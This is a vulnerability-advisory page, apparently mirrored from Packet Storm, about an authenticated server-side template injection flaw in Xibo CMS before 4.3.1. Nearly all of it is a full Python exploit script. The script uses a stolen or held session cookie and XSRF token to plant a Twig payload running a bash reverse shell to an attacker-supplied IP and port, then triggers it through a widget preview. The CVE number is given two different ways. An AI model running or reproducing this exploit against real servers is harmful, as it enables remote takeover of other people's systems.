PACKETSTORM 7.2 HIGH

📄 Xibo CMS SSTI / Remote Code Execution_PACKETSTORM:220365

7.2 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Description

Xibo CMS versions prior to 4.3.1 suffer from an authenticated remote code execution vulnerability via server-side template injection...
Visit Original Source

Basic Information

ID PACKETSTORM:220365
Published May 5, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
# Date: 2025-11-04
# Exploit Author: Cristian Branet
# Vendor Homepage: https://xibosignage.com/
# Software Link: https://github.com/xibosignage/xibo-cms/
# Version: < 4.3.1
# Tested on: Linux (Ubuntu 22.04)
# CVE : CVE-2025-62639
# Article: https://cristibtz.github.io/posts/CVE-2025-62369/

import requests, argparse, pyfiglet, re, json, time

parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")

class Exploit:

def __init__(self, url, session, ip, port):
self.url = url
self.session = session
self.ip = ip
self.port = port
self.headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
}

def get_xsrf_token(self):

try:
response = requests.get(f"{url}/statusdashboard", headers=self.headers)
except Exception as e:
print(f"Error connecting to {url}: {e}")
exit(1)

text = response.text

pattern = r'name="token" content="([a-f0-9]+)"'

try:
xsrf_token = re.search(pattern, text).group(1)
except Exception as e:
print(f"Error extracting XSRF token: {e}")
exit(1)

return xsrf_token

def create_module_template(self, xsrf_token):

timestamp = int(time.time())

headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}

data = {
"templateId": f"exploit_poc_{timestamp}",
"title": "Template for PoC",
"dataType": "article",
"copyTemplateId": "",
"showIn": "layout"
}

try:
response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
except Exception as e:
print(f"Error creating module template: {e}")
exit(1)

response_info = json.loads(response.text)

template_id = response_info["id"]

return template_id, timestamp, f"exploit_poc_{timestamp}"


def update_module_template(self, xsrf_token, template_id, name):

headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}

data = {
"templateId":f"{name}",
"title": f"Template for PoC - {name}",
"dataType": "article",
"showIn": "layout",
"enabled": "on",
"developer-template-properties": [],
"properties": [],
"twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
"hbs": "",
"style": "",
"head": "",
"onTemplateRender": "",
"onTemplateVisible": "",
"isInvalidateWidget": "on"
}

try:
response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
except Exception as e:
print(f"Error updating module template: {e}")
exit(1)

response_info = json.loads(response.text)

return response_info["success"]

def create_normal_template(self, xsrf_token):

timestamp = int(time.time())

headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}

data = {
"folderId": 1,
"name": f"exploit_poc_template_{timestamp}",
"tags": "",
"tagValueInput": "",
"resolutionId": 1,
"description": "Exploit template"
}

try:
response = requests.post(f"{self.url}/template", data=data, headers=headers)
except Exception as e:
print(f"Error creating normal template: {e}")
exit(1)

response_info = json.loads(response.text)

template_id = response_info["id"]
layout_id = response_info["data"]["layoutId"]
region_id = response_info["data"]["regions"][0]["regionId"]
playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]

return template_id, layout_id, region_id, playlist_id

def add_rss_widget(self, xsrf_token, playlist_id, name):

headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}

data = {
"templateId": f"{name}",
}

try:
response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
except Exception as e:
print(f"Error adding RSS widget: {e}")
exit(1)

response_info = json.loads(response.text)

widget_id = response_info["id"]

return widget_id

def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):

headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}

try:
response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
except Exception as e:
print(f"Error previewing RSS widget: {e}")
exit(1)

return response.status_code

if __name__=="__main__":
print("\n")
print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
print("Author: Cristian Branet")
print("GitHub: github.com/cristibtz")
print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
print("\n")

args = parser.parse_args()
url = args.url
session = args.session_key
ip = args.ip
port = args.port

xibo_exploit = Exploit(url, session, ip, port)

try:
xsrf_token = xibo_exploit.get_xsrf_token()
except Exception as e:
print(f"Error getting XSRF token: {e}")
exit(1)

print("Retrieved XSRF token: ")
print(xsrf_token)

try:
module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
except Exception as e:
print(f"Error creating module template: {e}")
exit(1)

print(f"Created module template with id: {module_template_id} with name: {name}")

try:
update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
except Exception as e:
print(f"Error updating module template: {e}")
exit(1)

print(f"Updated module template with success: {update_success}")

print("Creating normal template...")

try:
normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
except Exception as e:
print(f"Error creating normal template: {e}")
exit(1)

print("Created normal template with: ")

print(f"Normal Template ID: {normal_template_id}")
print(f"Layout ID: {layout_id}")
print(f"Region ID: {region_id}")
print(f"Playlist ID: {playlist_id}")

print("Adding RSS widget to playlist...")

try:
widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
except Exception as e:
print(f"Error adding RSS widget: {e}")
exit(1)

print(f"Added RSS widget with ID: {widget_id}")

print("Previewing RSS widget to trigger the exploit...")

try:
status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
except Exception as e:
print(f"Error previewing RSS widget: {e}")
exit(1)

if status_code == 200:
print("Exploit triggered successfully! Check your listener for a reverse shell.")
else:
print("Failed to trigger the exploit.")

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.